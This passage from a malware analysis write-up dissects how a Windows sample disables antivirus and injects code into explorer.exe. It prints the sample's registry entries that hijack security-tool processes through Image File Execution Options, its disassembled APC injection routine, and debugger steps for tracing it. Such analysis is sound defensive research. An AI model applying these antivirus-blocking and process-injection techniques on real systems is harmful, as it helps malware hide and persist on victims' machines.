Settings\Temp\kb806283.sve C:\Program Files\Common Files\System\kb806283.rdc C:\WINDOWS\system32\d3d8thk.dll.dat C:\WINDOWS\system32\d3d8thk.dll.dat C:\WINDOWS\system32\d3d8thk.dll.ZJHV C:\WINDOWS\system32\d3d8thk.dll C:\Documents and Settings\Obzy-CLMAL\Local Settings\Temp\tempVidio.bat C:\Documents and Settings\Obzy-CLMAL\Local Settings\Temp\kb008103.sve C:\Program Files\Common Files\System\kb008103.srd C:\WINDOWS\system32\d3d8thk.dll.dat C:\WINDOWS\system32\d3d8thk.dll.dat C:\WINDOWS\system32\d3d8thk.dll.FLGU C:\WINDOWS\system32\d3d8thk.dll C:\Documents and Settings\Obzy-CLMAL\Local Settings\Temp\tempVidio.bat C:\Documents and Settings\Obzy-CLMAL\Local Settings\Temp\kb335462.sve C:\Program Files\Common Files\System\kb335462.dma C:\WINDOWS\system32\dsound.dll.dat C:\WINDOWS\system32\dsound.dll.dat
Registry changes :
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360tray.exe "Debugger" = ntsd -d HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\safeboxtray.exe "Debugger" = ntsd -d HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avp.exe "Debugger" = ntsd -d HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\kavstart.exe "Debugger" = ntsd -d HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rstray.exe "Debugger" = ntsd -d HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nod32krn.exe "Debugger" = ntsd -d HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ekrn.exe "Debugger" = ntsd -d HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\egui.exe "Debugger" = ntsd -d HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360sd.exe "Debugger" = ntsd -d HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360rp.exe "Debugger" = ntsd -d HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ZhuDongFangYu.exe "Debugger" = ntsd -d HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LiveUpdate360.exe "Debugger" = ntsd -d HKEY_LOCAL_MACHINE\SOFTWARE\RealOne "Class" = [REG_BINARY, size: 512 bytes] HKEY_LOCAL_MACHINE\SOFTWARE\RealOne "0" = [REG_BINARY, size: 16 bytes] HKEY_LOCAL_MACHINE\SOFTWARE\Gabest\v2\{F93D056D-ABB8-416F-AA6E-0E9C061309B1} "Hex" = [REG_BINARY, size: 512 bytes] HKEY_LOCAL_MACHINE\SOFTWARE\RealOne "1" = [REG_BINARY, size: 16 bytes] HKEY_LOCAL_MACHINE\SOFTWARE\RealOne "2" = [REG_BINARY, size: 16 bytes] HKEY_LOCAL_MACHINE\SOFTWARE\RealOne "3" = [REG_BINARY, size: 16 bytes] HKEY_LOCAL_MACHINE\SOFTWARE\Gabest\v2\{17E0BB06-EEAF-4513-B6D7-604214076F57} "Hex" = [REG_BINARY, size: 512 bytes] HKEY_LOCAL_MACHINE\SOFTWARE\RealOne "4" = [REG_BINARY, size: 16 bytes] HKEY_LOCAL_MACHINE\SOFTWARE\Gabest\v2\{7FDF64E3-EADA-40C4-91A5-11665A86D7D6} "Hex" = [REG_BINARY, size: 512 bytes] HKEY_LOCAL_MACHINE\SOFTWARE\RealOne "5" = [REG_BINARY, size: 16 bytes] HKEY_LOCAL_MACHINE\SOFTWARE\Gabest\v2\{FEF400DE-D05A-4789-ABC4-F26122753257} "Hex" = [REG_BINARY, size: 512 bytes] HKEY_LOCAL_MACHINE\SOFTWARE\RealOne "6" = [REG_BINARY, size: 16 bytes] HKEY_LOCAL_MACHINE\SOFTWARE\Gabest\v2\{915C7EE5-583B-4685-9529-66FE0297ABF9} "Hex" = [REG_BINARY, size: 512 bytes] HKEY_LOCAL_MACHINE\SOFTWARE\RealOne "7" = [REG_BINARY, size: 16 bytes] HKEY_LOCAL_MACHINE\SOFTWARE\RealOne "8" = [REG_BINARY, size: 16 bytes] HKEY_LOCAL_MACHINE\SOFTWARE\Gabest\v2\{89A83CDE-E6BF-433C-A1D5-8AF0D66389AD} "Hex" = [REG_BINARY, size: 512 bytes] HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\kavstart.exe "Debugger" = ntsd -d HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\kwatch.exe "Debugger" = ntsd -d HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\kswebshield.exe "Debugger" = ntsd -d HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\kmailmon.exe "Debugger" = ntsd -d HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\kissvc.exe "Debugger" = ntsd -d HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360tray.exe "Debugger" = ntsd -d HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ZhuDongFangYu.exe "Debugger" = ntsd -d HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LiveUpdate360.exe "Debugger" = ntsd -d HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360sd.exe "Debugger" = ntsd -d HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360rp.exe "Debugger" = ntsd -d HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rstray.exe "Debugger" = ntsd -d HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RavMonD.exe "Debugger" = ntsd -d HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360Safe.exe "Debugger" = ntsd -d HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DSMain.exe "Debugger" = ntsd -d HKEY_LOCAL_MACHINE\SOFTWARE\RealOne "9" = [REG_BINARY, size: 16 bytes] HKEY_LOCAL_MACHINE\SOFTWARE\RealOne "10" = [REG_BINARY, size: 16 bytes] HKEY_LOCAL_MACHINE\SOFTWARE\Gabest\v2\{5BB5FF59-A724-4667-B6FA-81C1AF65622A} "Hex" = [REG_BINARY, size: 512 bytes] HKEY_LOCAL_MACHINE\SOFTWARE\RealOne "11" = [REG_BINARY, size: 16 bytes] HKEY_LOCAL_MACHINE\SOFTWARE\RealOne "12" = [REG_BINARY, size: 16 bytes] HKEY_LOCAL_MACHINE\SOFTWARE\RealOne "13" = [REG_BINARY, size: 16 bytes] HKEY_LOCAL_MACHINE\SOFTWARE\RealOne "14" = [REG_BINARY, size: 16 bytes] HKEY_LOCAL_MACHINE\SOFTWARE\RealOne "15" = [REG_BINARY, size: 16 bytes] HKEY_LOCAL_MACHINE\SOFTWARE\RealOne "16" = [REG_BINARY, size: 16 bytes] HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{B5A191F0-889A-42F0-A98B-F4B9CB39197E}\1.0 "" = WmiLib HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{B5A191F0-889A-42F0-A98B-F4B9CB39197E}\1.0\FLAGS "" = 0 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{B5A191F0-889A-42F0-A98B-F4B9CB39197E}\1.0\0\win32 "" = C:\Program Files\ComPlus Applications\MSVB50CHS.dll HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{B5A191F0-889A-42F0-A98B-F4B9CB39197E}\1.0\HELPDIR "" = C:\Program Files\ComPlus Applications HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{02F009E1-9AF0-497D-9688-2380D0012D0A} "" = _Services HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{02F009E1-9AF0-497D-9688-2380D0012D0A}\ProxyStubClsid "" = {00020424-0000-0000-C000-000000000046} HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{02F009E1-9AF0-497D-9688-2380D0012D0A}\ProxyStubClsid32 "" = {00020424-0000-0000-C000-000000000046} HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{02F009E1-9AF0-497D-9688-2380D0012D0A}\TypeLib "" = {B5A191F0-889A-42F0-A98B-F4B9CB39197E} HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{02F009E1-9AF0-497D-9688-2380D0012D0A}\TypeLib "Version" = 1.0 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{317C7177-0E7D-4FD5-92E6-813724DFF38D} "" = WmiLib.Services HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{317C7177-0E7D-4FD5-92E6-813724DFF38D} "ProgID" = WmiLib.Services HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{317C7177-0E7D-4FD5-92E6-813724DFF38D}\InprocServer32 "" = C:\Program Files\ComPlus Applications\MSVB50CHS.dll HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{317C7177-0E7D-4FD5-92E6-813724DFF38D}\InprocServer32 "ThreadingModel" = Apartment HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{317C7177-0E7D-4FD5-92E6-813724DFF38D} "TypeLib" = {B5A191F0-889A-42F0-A98B-F4B9CB39197E} HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{317C7177-0E7D-4FD5-92E6-813724DFF38D} "VERSION" = 1.0 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WmiLib.Services "" = WmiLib.Services HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WmiLib.Services "Clsid" = {317C7177-0E7D-4FD5-92E6-813724DFF38D} HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{02F009E1-9AF0-497D-9688-2380D0012D0A} "" = Services HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{02F009E1-9AF0-497D-9688-2380D0012D0A} "ProxyStubClsid" = {00020424-0000-0000-C000-000000000046} HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{02F009E1-9AF0-497D-9688-2380D0012D0A} "ProxyStubClsid32" = {00020424-0000-0000-C000-000000000046}
Threads :
Wow – looks like we only saw the tip of the iceberg…
Despite putting in a lot of effort already, it looks like parts of the actual infection were not documented or detected in my first run through the debugger. A lot more files got created, threads started, registry keys changed, network connections initiated (worm ?)… and it looks like I missed that.
December 2nd, 2010 21:45:30 GMT+1 – stage 4 – calc.exe
One of the things that is left undocumented at this point, is the calc.exe process. It is launched by a CreateProcess() call (at 0x00401E05), and appears to be an important step in the infection process. A process created with this function will run in the context of the calling process.
When looking at the CreateProcess function syntax, we see this :
BOOL WINAPI CreateProcess( __in_opt LPCTSTR lpApplicationName, __inout_opt LPTSTR lpCommandLine, __in_opt LPSECURITY_ATTRIBUTES lpProcessAttributes, __in_opt LPSECURITY_ATTRIBUTES lpThreadAttributes, __in BOOL bInheritHandles, __in DWORD dwCreationFlags, __in_opt LPVOID lpEnvironment, __in_opt LPCTSTR lpCurrentDirectory, __in LPSTARTUPINFO lpStartupInfo, __out LPPROCESS_INFORMATION lpProcessInformation );
and the arguments used in l.exe are :
0012E854 00000000 .... |ModuleFileName = NULL 0012E858 00333A19 :3. |CommandLine = "calc" 0012E85C 00000000 .... |pProcessSecurity = NULL 0012E860 00000000 .... |pThreadSecurity = NULL 0012E864 00000000 .... |InheritHandles = FALSE 0012E868 00000004 ... |CreationFlags = CREATE_SUSPENDED 0012E86C 00000000 .... |pEnvironment = NULL 0012E870 00000000 .... |CurrentDir = NULL 0012E874 0012FB50 Pû. |pStartupInfo = 0012FB50 0012E878 0012FB98 ˜û. \pProcessInfo = 0012FB98
Basically, this call will launch calc.exe (CommandLine parameter) from c:\windows\system32. The process will be put in a suspended state (until ResumeThread is called). The last 2 arguments are interesting :
- pStartupInfo contains a pointer to a STARTUPINFO or STARTUPINFOEX structure. (0012FB50 in our case)
- pProcessInfo is a pointer to a PROCESS_INFORMATION structure that receives identification information about the new process. (0012FB98 in our case)
A startupinfo structure looks like this :
typedef struct _STARTUPINFO { DWORD cb; LPTSTR lpReserved; LPTSTR lpDesktop; LPTSTR lpTitle; DWORD dwX; DWORD dwY; DWORD dwXSize; DWORD dwYSize; DWORD dwXCountChars; DWORD dwYCountChars; DWORD dwFillAttribute; DWORD dwFlags; WORD wShowWindow; WORD cbReserved2; LPBYTE lpReserved2; HANDLE hStdInput; HANDLE hStdOutput; HANDLE hStdError; } STARTUPINFO, *LPSTARTUPINFO;
Based on the contents at 0012FB50, the (non-null) values for each of those members is :
0012FB50 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 D............... 0012FB60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0012FB70 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 ............€... 0012FB80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0012FB90 00 00 00 00 7C 00 00 00 ....|...
- cb : 0x44
- wShowWindows : 0x80
- hStdError : 0x7c
A Process_Information structure contains the following members :
typedef struct _PROCESS_INFORMATION { HANDLE hProcess; HANDLE hThread; DWORD dwProcessId; DWORD dwThreadId; } PROCESS_INFORMATION, *LPPROCESS_INFORMATION;
0012FB98 C4 FD 12 00 A8 FB 12 00 F6 1E 83 7C 38 FB 12 00 Äý.¨û.öƒ|8û.
- hProcess : 0012FDC4
- hThread : 0012FBA8
- dwProcessId : 7C831EF6
- dwThreadId : 0012FB38
So, when the CreateProcess() call is executed, a new thread is created (7B0 in my example), but kept in "suspended" state.
Note : if spawning calc.exe didn’t work, l.exe will try to launch osk.exe instead (XP’s On-Screen Keyboard Utility)
In the CreateProcess() function (kernel32), a memmove is issued, moving the Startupinfo structure to 0012E780
Then, a call to kernel32.CreateProcessInternalW is made, using the following arguments :
0012E730 00000000 .... |Arg1 = 00000000 0012E734 00000000 .... |Arg2 = 00000000 0012E738 0014C470 pÄ. |Arg3 = 0014C470 0012E73C 00000000 .... |Arg4 = 00000000 0012E740 00000000 .... |Arg5 = 00000000 0012E744 00000000 .... |Arg6 = 00000000 0012E748 00000004 ... |Arg7 = 00000004 0012E74C 00000000 .... |Arg8 = 00000000 0012E750 00000000 .... |Arg9 = 00000000 0012E754 0012E780 €ç. |Arg10 = 0012E780 0012E758 0012FB98 ˜û. |Arg11 = 0012FB98 0012E75C 00000000 .... \Arg12 = 00000000
When that call returns, calc.exe is running.
So, as explained earlier, the CreateProcess() call is followed by VirtualAlloc() at 00401E44 and WriteProcessMemory() at 00401E7C. The WPM() call writes data (0x1000 bytes), from 0012E884 to the newly allocated heap at 0xA0000. It will write the amount of bytes written to 0012FB94. A little while later, ResumeThread() is called, which tells calc.exe to run.
The new heap block, starting at 0xA0000, is associated with calc.exe. The whole purpose of launching a genuine instance of calc is to inject code in it and let it run. In order to figure out what that code does, we need to be able to attach a debugger to it.
In order to attach a debugger to calc.exe, make sure the process is paused (use Process Explorer to do that) and then the process will show up in a second debugger.
Then, directly before running WPM in l.exe, you can see the current contents of memory at 0xA0000.
After WPM is executed, the heap in calc.exe is updated as well :
If we look at the first function in the code, we see this :
000A0004 897424 0C MOV DWORD PTR SS:[ESP+C],ESI 000A0008 8B7424 0C MOV ESI,DWORD PTR SS:[ESP+C] 000A000C 33DB XOR EBX,EBX 000A000E 8D7E 0C LEA EDI,DWORD PTR DS:[ESI+C] 000A0011 57 PUSH EDI 000A0012 FF16 CALL DWORD PTR DS:[ESI] ; Delete l.exe 000A0014 85C0 TEST EAX,EAX 000A0016 75 0E JNZ SHORT 000A0026 ; Successful, then exit 000A0018 6A 0A PUSH 0A 000A001A FF56 04 CALL DWORD PTR DS:[ESI+4] ; sleep 000A001D 43 INC EBX 000A001E 81FB E8030000 CMP EBX,3E8 ; 1000x 000A0024 ^7C EB JL SHORT 000A0011 ; try to delete l.exe again 000A0026 6A 00 PUSH 0 000A0028 FF56 08 CALL DWORD PTR DS:[ESI+8] ; exit 000A002B 5F POP EDI 000A002C 5E POP ESI 000A002D 5B POP EBX 000A002E 59 POP ECX 000A002F C3 RETN
The function will simply try to delete l.exe and then exits… Looks like a cleanup routine.
Open l.exe again in the debugger, run !hidedebug all_debug and then set breakpoints on some functions in kernel32 :
(set a bp at ResumeThread as well – not shown in the list above)
Set a breakpoint at 00401E05 and then let l.exe run. You’ll observe 2 exceptions (pass both of them to the application with Shift+F9). You should then hit a breakpoint at the CreateProcess() call.
Inside the CreateProcess routine, a call is made to kernel32.CreateProcessInternalA. In that function, first a call is made to kernel32.7C8024D6 and then a call is made to kernel32.7C811598 (at 0x7C81D56F)
While looking at function 7C811598, I also observed some new processes being created (and closed) in process explorer :
(~DF15.exe in the screenshot below) :
(I only caught one of them in this screenshot, but as you will see later, more similar processes get created). After those processes are started (and closed), the machine starts making connections to other hosts on the network. It’s unclear if those (child) processes are responsible for the network connectivity or not…
Furthermore, at that time, our CreateProcess() hasn’t even run yet…
I decided to run process monitor, set a breakpoint at 00401E05, keep the application "paused" (don’t jump into the CreateProcess call yet), and watch interactions in procmon.
Interestingly enough, the process activity kicks off even without running CreateProcess("calc"), and… guess what, procmon reports calc.exe is already running. We missed something… again.
It looks like our mysterious calc is not the key. Calc is used to clean up, and the cleanup code is injected by the WPM() call, writing to 0xA000…
It did not do any harm though, so something else is going on here.
December 2nd, 2010 21:45:30 GMT+1 – stage 4 – calc.exe explorer.exe
Calc.exe is clearly not stage 4. Something happened before calc was executed.
Let’s take a closer look at some of the entries in the procmon report :
Oh – so explorer.exe is creating a new thread… no wonder we couldn’t see anything in the debugger.
Let’s see what else happens :
owww – more threads…
and more processes :
and so on… Full report can be found here : http://redmine.corelan.be:8800/attachments/download/185/l.exe_2_Logfile.PML.zip
(put a filter on process l.exe and explorer.exe)
Okay – it looks like something (l.exe ?) injected something into explorer.exe (before running calc.exe ?). We don’t know yet if the injection took place to hook functions/API’s, or to just execute code. Based on the procmon results, it looks like the latter is more likely. After all, we did not see anything that would alter/hide results in directory listings, process listings, etc… So no real API hooking occurred as far as we can see)
Before going back at l.exe, let’s briefly list some common ways to inject code into a remote process (userland) :
- Windows Hooks (we’ll assume that this is not the case in our example, so we’ll skip this one for now)
- CreateRemoteThread()
- other techniques
In order to inject a dll into a remote process, CreateRemoteThread can be used (which starts a new thread in a remote process). This thread can be told to execute code, load a library, etc etc (using the lpStartAddress argument). If the code needs to be able to use strings or other data/code that are currently only known by the injector code (which would be l.exe in our case), then we’ll probably see some memory being allocated first (VirtualAllocEx()), and bytes are then copied to that address space (using WriteProcessMemory() for example). You can find more info about this technique in this excellent Phrack article
Another technique would be to hijack an existing thread and have it execute code. In order to pull this off, the code would probably monitor the creation of new processes, get the thread handle of the first thread in the process, and suspend it. Next, code would be copied to the thread (overwriting existing code), and then the thread would be resumed. One of the things the injector would probably do, is use GetThreadContext() to get the context flags and thread structure and then patch the structure.
This looks like a routine we saw earlier, used to patch memory in the calc.exe process. At the same time, we are pretty sure that’s not the injection that is causing additional infection.
One of our team members, _sinn3r, spent some time looking for routines/signs that could be associated with injection, and he found this one (in the .tmp dll file)
10004CB7 FF15 F8900010 CALL DWORD PTR DS:[<&KERNEL32.GetModuleHandleA>] 10004CBD 50 PUSH EAX 10004CBE E8 D5F4FFFF CALL 5C.10004198 10004CC3 3BC7 CMP EAX,EDI 10004CC5 59 POP ECX 10004CC6 59 POP ECX 10004CC7 8945 FC MOV DWORD PTR SS:[EBP-4],EAX 10004CCA 74 73 JE SHORT 5C.10004D3F 10004CCC 53 PUSH EBX 10004CCD FF75 08 PUSH DWORD PTR SS:[EBP+8] 10004CD0 E8 99FDFFFF CALL 5C.10004A6E 10004CD5 59 POP ECX 10004CD6 50 PUSH EAX 10004CD7 57 PUSH EDI 10004CD8 68 FF0F1F00 PUSH 1F0FFF 10004CDD 8945 08 MOV DWORD PTR SS:[EBP+8],EAX 10004CE0 FF15 90910010 CALL DWORD PTR DS:[<&KERNEL32.OpenProcess>] 10004CE6 8BD8 MOV EBX,EAX 10004CE8 3BDF CMP EBX,EDI 10004CEA 74 52 JE SHORT 5C.10004D3E 10004CEC 56 PUSH ESI 10004CED 6A 40 PUSH 40 10004CEF 68 00100000 PUSH 1000 10004CF4 FF75 10 PUSH DWORD PTR SS:[EBP+10] 10004CF7 57 PUSH EDI 10004CF8 53 PUSH EBX 10004CF9 FF15 98900010 CALL DWORD PTR DS:[<&KERNEL32.VirtualAllocEx>] 10004CFF 8BF0 MOV ESI,EAX 10004D01 3BF7 CMP ESI,EDI 10004D03 74 31 JE SHORT 5C.10004D36 10004D05 8D45 10 LEA EAX,DWORD PTR SS:[EBP+10] 10004D08 50 PUSH EAX 10004D09 FF75 10 PUSH DWORD PTR SS:[EBP+10] 10004D0C FF75 0C PUSH DWORD PTR SS:[EBP+C] 10004D0F 56 PUSH ESI 10004D10 53 PUSH EBX 10004D11 FF15 94900010 CALL DWORD PTR DS:[<&KERNEL32.WriteProcessMemory>]
Before OpenProcess() is called, we see the following interesting call :
10004CCC 53 PUSH EBX 10004CCD FF75 08 PUSH DWORD PTR SS:[EBP+8] 10004CD0 E8 99FDFFFF CALL 5C.10004A6E ; GetWindowProcessThreadID
where 10004A6E does this :
10004A6E 55 PUSH EBP 10004A6F 8BEC MOV EBP,ESP 10004A71 51 PUSH ECX 10004A72 FF55 08 CALL DWORD PTR SS:[EBP+8] 10004A75 85C0 TEST EAX,EAX 10004A77 75 0A JNZ SHORT 4A.10004A83 10004A79 E8 6DFFFFFF CALL 4A.100049EB 10004A7E 8945 FC MOV DWORD PTR SS:[EBP-4],EAX 10004A81 EB 0B JMP SHORT 4A.10004A8E 10004A83 8D4D FC LEA ECX,DWORD PTR SS:[EBP-4] 10004A86 51 PUSH ECX 10004A87 50 PUSH EAX 10004A88 FF15 D4910010 CALL DWORD PTR DS:[<&USER32.GetWindowThreadProcessId> 10004A8E 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4] 10004A91 C9 LEAVE 10004A92 C3 RETN
The call to user32.GetTaskmanWindow returns this :
The call to GetWindowThreadProcessId takes the following 2 parameters :
0012EA44 0001007E ~.. |hWnd = 0001007E ('Running Applications',class='MSTaskSwWClass',parent=00010078) 0012EA48 0012EA4C Lê. \pProcessID = 0012EA4C
Basically, the GetWindowThreadProcessId will look for a window caption "Running Applications".
Tip : attach a debugger to explorer.exe and open the "Windows" view :
Windows, item 31 Handle=0001008A Title=Running Applications Parent=00010078 Style=56010000 Thread=0000064C ClsProc=FFFF04AA Class=MSTaskSwWClass
When the function 10004A6E ends, a process ID is stored in eax (Let’s say the ID is 5FC)
Then, OpenProcess() is called, taking the following parameters (note ProcessId = 5FC):
0012EA44 0001007E ~.. UNICODE "Documents and Settings\corelan\Application Data"
0012EA48 0012EA4C Lê.
0012EA4C 000005FC ü..
0012EA50 001F0FFF ÿ. |Access = PROCESS_ALL_ACCESS
0012EA54 00000000 .... |Inheritable = FALSE
0012EA58 000005FC ü.. \ProcessId = 5FC
So this opens a remote process.
0x5FC = 1532… and 1532 = explorer.exe
OpenProcess() returns 0x7c
VirtualAllocEx() is called (another indication of process injection), using 0x7C as first parameter :
0012EA44 0000007C |... |Arg1 = 0000007C 0012EA48 00000000 .... |Arg2 = 00000000 0012EA4C 00001000 ... |Arg3 = 00001000 0012EA50 00001000 ... |Arg4 = 00001000 0012EA54 00000040 @... \Arg5 = 00000040
The virtualAlloc() call returns 013E0000 (eax)
The WriteProcessMemory() call at 10004D11, uses the following parameters (again 0x7C as first parameter)
0012EA44 0000007C |... |hProcess = 0000007C (window) 0012EA48 013E0000 ..> |Address = 13E0000 0012EA4C 0012EA90 ê. |Buffer = 0012EA90 0012EA50 00001000 ... |BytesToWrite = 1000 (4096.) 0012EA54 0012EA78 xê. \pBytesWritten = 0012EA78
We have seen this call before. We just didn’t link it to the injection into another process at that point. Since this is a remote process injection, we cannot dump the contents of memory at 0x13E000 when debugging l.exe :
Before executing the WPM call, we dumped the source (4096 bytes, starting at 0012EA90) to file :
Ok, now we have been able to prove that something was injected into explorer.exe.
Things are starting to make some sense now.
Attach a debugger to explorer.exe and dump the contents of 13E0000 :
as expected, this is an exact match with what was dumped to wpm.bin earlier :
Of course, analyzing this code outside of the context of explorer.exe would be nearly impossible. We really need to be able to trigger the execution of the code inside explorer.exe, within the context of the injection/malware… So let’s set a breakpoint on at 13E0000 (or the address that is used on your system).
How does the injected code get called? What exactly triggers the execution? The WPM() itself only writes to the process memory.
A few instructions below the WriteProcessMemory() call, at 0x10004D2D, a call is made to 10004A93. In that function, we see a call to kernel32.CreateToolhelp32Snapshot(). This function will take a snapshot of a process (including heap, threads, modules). The arguments passed on to the function are
0012EA14 00000004 ... |Flags = TH32CS_SNAPTHREAD 0012EA18 00000000 .... \ProcessID = 0
This will make sure all threads are included in the snapshot (so they can be enumerated). The function call returns a handle to the snapshot in eax (0x80 in my example)
Next, we see an iteration that will enumerate/locate threads. The loop starts with a single call to Thread32First (which is needed to get the first thread in the array). We’ll probably see calls to Thread32Next later on (to find all other threads).
The Thread32First call takes a handle to the snapshot as first argument, and pThreadEntry (a pointer) as second argument, containing 0012EA24 at this point. 0x0012EA24 contains 0x1C
As expected, a call to Thread32Next is made (at 10004B02) (using the same arguments as the ones used in Thread32First). The iteration goes on until it returns thread 0x630 in eax (and a pointer into the injected memory in explorer.exe)
At that point, a call to kernel32.OpenThread() is executed (returning a handle in eax), followed by kernel32.QueueUserAPC(handle) (with a pointer to a memory location on the stack). This function will add a usermode asynchronous procedure call (APC) to the APC queue of the specified thread. This technique, also documented here, is used to call the injected code.
When the function is called, a pointer to the base address of the injected code (explorer.exe) is at the top of the stack.
In that function, a call to ntdll.RtlQueryInformationActivationContext is made, followed by ntdll.ZwQueueApcThread. Then the handle to the thread is closed.
As soon as the thread in explorer.exe is found and the call to QueueUserAPC(handle) is executed, the breakpoint in explorer.exe (013E0000) was hit !
Note : while documenting the analysis, I had to restart debugging process a couple of times. This means that some of the allocated memory addresses might be different. During a second run, the memory allocated in the explorer.exe process is 02270000, so the screenshots below will contain 02270000 instead of 013E0000
Breakpoint hit in explorer.exe :
Quick sidenote : if you are interested in debugging the injected code in explorer.exe, use the following steps to jump right in :
- open l.exe in the debugger and run !hidedebug all_debug
- set a breakpoint at 0x00401FB4 and press F9. Debugger should hit the breakpoint at the loadlibrary call. Use F8 to execute the Loadlibrary call
- set a breakpoint at 0x10004CF9
- set a breakpoint at 0x10004D11 and press F9
- Press Shift+F9 at the first exception
- Press Shift+F9 at the second exception
- Breakpoint at 0x10004CF9 will be hit (VirtualAllocEx()). Use F8 to execute the call and take note of the heap address returned in EAX (For example 01290000). Press F9 again.
- You will end up at the WriteProcessMemory() call. Use F8 to execute the call and then leave l.exe paused
- Open a second debugger and attach it to explorer.exe. Set a breakpoint at the address that you saw in the Address argument in the first debugger (attached to l.exe) (01290000for example). The instruction at that location should be PUSH ESI. Press F9 to continue to run explorer.exe
- Go back to the first debugger (l.exe). Set a breakpoint at 0x10004A91. Press F9. Breakpoint should be hit (call to a function which contains a call to Kernel32.CreateToolhelp32Snapshot, Thread32First, OpenThread etc). These last 2 functions are part of an iteration which will eventually trigger the breakpoint in explorer.exe to be hit. Set a breakpoint at 0x10004B0B (right after the iteration) and press F9
- The breakpoint in the second debugger (at 01290000 or whatever the address is in your case) should now be hit. You are now ready to analyse the injected code in explorer.exe
Injected code – run 1
The first thing the injected code does is to load pnen3260.dll (a file that was created by l.exe), by calling LoadLibraryA(), via CALL DWORD PTR DS:[ESI]. Again, instead of using a direct call to kernel32.LoadLibrary() (which might arouse suspicion), the necessary pointers are strings were also injected by l.exe into explorer.exe, and stored at [base_of_injected_code+0x400] :
(after all, the necessary function pointer(s) were already retrieved and stored earlier (by l.exe))
The LoadLibrary call will read the dll file into memory (00DC0000 in my case, base will most likely be different on your machine).
Next, a function in the dll is called (The offset to the function was first put in ESI, and then added to the base of the dll via ADD ESI,EAX) :
In this first function we see this : (don’t worry about base address being different- I had to reload the debugger a few times and the dll got loaded at a different base… it might/will be different on your machine too. If you’re lucky, the low bits will be the same as the ones in my screenshots, so it should be trivial to follow/recognize the corresponding instructions)
The GetModuleFileNameA() function (hModule set to null, PathBuffer set to EBP-108 and BufSize set to 104) will retrieve the full path to explorer.exe, convert it to lowercase, and write it to EBP-108. Then, a pointer to this string is put in eax, and pushed onto the stack, prior to calling function pnen3260.00DC60E6. In that function, the string is written to a location in memory, and then a jump is made to 00DC61D8, where function 00DC5F3B is called, which removes a record from the SEH Chain and finally returns. Then function 00DC6060 is called, where "explorer.exe" is extracted from the string, and a pointer to it is stored in eax.
Then, a call to CreateThread is prepared, using a pointer to a function in pnen3620.dll as ThreadFunction.
